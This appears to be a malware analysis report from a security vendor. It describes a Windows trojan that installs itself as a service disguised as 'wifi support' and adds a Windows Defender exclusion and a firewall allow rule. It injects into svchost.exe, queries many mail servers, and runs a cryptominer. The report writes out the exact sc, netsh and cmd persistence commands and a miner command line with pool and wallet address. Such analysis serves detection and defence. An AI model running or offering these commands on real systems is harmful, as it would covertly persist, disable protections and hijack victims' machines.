Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\updfiiwr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\updfiiwr] 'ImagePath' = '%WINDIR%\SysWOW64\updfiiwr\rtmxemaq.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\updfiiwr] 'ImagePath' = '%WINDIR%\SysWOW64\updfiiwr\rtmxemaq.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\updfiiwr' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\rtmxemaq.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\rtmxemaq.exe to %WINDIR%\syswow64\updfiiwr\rtmxemaq.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://li##4u.ru/client/users.json?t%######################################
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK th####secainc.com
- DNS ASK wi####owercases.com
- DNS ASK wi####owergroup.net
- DNS ASK st##am.cz
- DNS ASK wi####owerinn.com
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK sb###obal.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK pa###pina.com
- DNS ASK ve####nwireless.com
- DNS ASK mx######4a201.pphosted.com
- DNS ASK ho###blin.co.uk
- DNS ASK d2#####.#.#ss.uk.barracudanetworks.com
- DNS ASK fl###ronics.com
- DNS ASK mx######d6701.pphosted.com
- DNS ASK be##buy.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK hi##ie.nu
- DNS ASK tg##s.com
- DNS ASK tg##d.com
- DNS ASK tg###mit.com
- DNS ASK ms#.com
- DNS ASK wi#####wershop.co.uk
- DNS ASK nt##roup.it
- DNS ASK mx.##sgroup.it
- DNS ASK th####irlings.com
- DNS ASK jo###upport.dk
- DNS ASK mx#.##b-support.dk
- DNS ASK jo####thballs.com
- DNS ASK jo##abs.com
- DNS ASK mx.###mexperts.com
- DNS ASK wi#####wer-market.com
- DNS ASK google.com
- DNS ASK sm######mch20.panalpina.com
- DNS ASK t-##line.de
- DNS ASK sm######.mc.a.cloudfilter.net
- DNS ASK fr###otto.com
- DNS ASK ma#####.freelotto.com
- DNS ASK ud##.edu
- DNS ASK ya##o.co.uk
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK jo###rget.com
- DNS ASK fi######il.jobtarget.com
- DNS ASK mx##.#-online.de
- DNS ASK wa###ker.com
- DNS ASK mc##i.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK at####.hosts.co.uk
- DNS ASK sc###cks.com
- DNS ASK si.##ail.gs.com
- DNS ASK ve#####-encoding.com
- DNS ASK ma##.tcmsp.net
- DNS ASK em#####appliance.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK cf##.com
- DNS ASK sm##.xap.com
- DNS ASK oo##.com
- DNS ASK ba######a.ics-america.com
- DNS ASK ma##.#kkuaria.com
- DNS ASK gr###ages.no
- DNS ASK ak###ria.com
- DNS ASK ma##.#kkuaria.org
- DNS ASK wi####owersoft.com
- DNS ASK ma##.#ostyou.net
- DNS ASK cf#a.us
- DNS ASK ma##.cfxa.us
- DNS ASK ga##com.com
- DNS ASK mx.#######.com.cust.b.hostedemail.com
- DNS ASK ak###king.de
- DNS ASK ma##.#kku-king.de
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ex##te.com
- DNS ASK mx#.##taguard.no
- DNS ASK sm##.##cureserver.net
- DNS ASK mx.###courier.com
- DNS ASK ho##ail.de
- DNS ASK hi##i.in
- DNS ASK bs#.##rra.com.br
- DNS ASK vi#####br-mx.terra.com
- DNS ASK ak##a.com
- DNS ASK mx#.#ebhero.com
- DNS ASK al####abowling.com
- DNS ASK li##4u.ru
- DNS ASK ma##.##abamabowling.com
- DNS ASK ak##a.it
- DNS ASK pe###epc.com
- DNS ASK mx#.##rthlink.net
- DNS ASK si##.com
- DNS ASK as#.##flexion.net
- DNS ASK al####abrick.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK ju##.com
- DNS ASK mx.##s.untd.com
- DNS ASK lo###dbonar.com
- DNS ASK ma######.lowandbonar.com
- DNS ASK ph###sdodge.com
- DNS ASK ha###urier.com
- DNS ASK di###alview.com
- DNS ASK mx##.gmx.net
- DNS ASK gm#.ph
- DNS ASK ti###linet.it
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK kd#.##globe.ne.jp
- DNS ASK bg#####1.biglobe.ne.jp
- DNS ASK st###-nrw.de
- DNS ASK mt#.##art-nrw.de
- DNS ASK po###a.onet.pl
- DNS ASK eg##co.com
- DNS ASK aspmx.l.google.com
- DNS ASK wp.pl
- DNS ASK k1##n.net
- DNS ASK eg###uto.com
- DNS ASK me###one.net
- DNS ASK da########-com.relay1g.spamh.com
- DNS ASK ge##.##s-automotive.com
- DNS ASK qu##les.com
- DNS ASK mx######68d01.pphosted.com
- DNS ASK de###nsult.de
- DNS ASK ma######1.deutschebahn.com
- DNS ASK ra##axy.com
- DNS ASK ma###.ranbaxy.com
- DNS ASK tr##.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK da###rylaw.com
- DNS ASK cg#3.fr
- DNS ASK ho##ial.com
- DNS ASK mx#.##ic.kg.ac.rs
- DNS ASK vi##in.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK op.pl
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx.###zta.onet.pl
- DNS ASK ti##ali.it
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK po##.#ashvault.pro
- DNS ASK sm###.ena.net
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ki####olding.com
- DNS ASK mx##.#####-group.kibarholding.com
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK kg.#c.rs
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ak###ria.org
- DNS ASK ma##.#-email.net
- DNS ASK jo###eere.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK se##v.com
- DNS ASK th#####lpoint.org.uk
- DNS ASK mp##.com
- DNS ASK ma##.mpsa.com
- DNS ASK mk##rp.com
- DNS ASK ma##.mkcorp.com
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK ge##ing.de
- DNS ASK pt.#bm.com
- DNS ASK ALT1.ASPMX.L.GOOGLE.com
- DNS ASK ai#.com
- DNS ASK am####05.aig.com
- DNS ASK th#####gerreport.com
- DNS ASK ao#.com
- DNS ASK ba####america.com
- DNS ASK mx#######c05.gslb.pphosted.com
- DNS ASK gs.com
- DNS ASK ca###wealth.com
- DNS ASK ma##.##rrywealth.com
- DNS ASK th#####watergroup.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK mx##.#tp-mailer.de
- DNS ASK gr###point.com
- DNS ASK mx.#p.pl
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK se##am.cz
- DNS ASK mx#.#eznam.cz
- DNS ASK an######anzlei-gutwald.de
- DNS ASK mx##.#spgateway.de
- DNS ASK sp####nau-ries.de
- DNS ASK ms#.#inet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK go###email.com
- DNS ASK jp###gan.com
- DNS ASK se####ayagam.com
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK cl#######.us.messagelabs.com
- DNS ASK ha###burton.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK ne##is.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK rc#.com
- DNS ASK mx#######607.gslb.pphosted.com
- DNS ASK gr####sanjose.com
- DNS ASK sm##.##upo-sanjose.com
- DNS ASK ho###il.co.uk
- DNS ASK ch##e.com
- DNS ASK mx#######nxto.departement13.fr
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\updfiiwr\rtmxemaq.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\updfiiwr\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rtmxemaq.exe" %WINDIR%\SysWOW64\updfiiwr\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create updfiiwr binPath= "%WINDIR%\SysWOW64\updfiiwr\rtmxemaq.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description updfiiwr "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start updfiiwr' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\updfiiwr\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rtmxemaq.exe" %WINDIR%\SysWOW64\updfiiwr\
- '%WINDIR%\syswow64\sc.exe' create updfiiwr binPath= "%WINDIR%\SysWOW64\updfiiwr\rtmxemaq.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description updfiiwr "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start updfiiwr
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o pool.hashvault.pro:80 -u hvs1hBH2qRhZkKfQyujRfXN4wmUM8hM4VQnhn9xUM6NVgAcdnA3dUBh7qqFx38kZTVEbU3tD3jr2aFXwFtwyj3is7hGGAcW1EH.5000 -p с -k
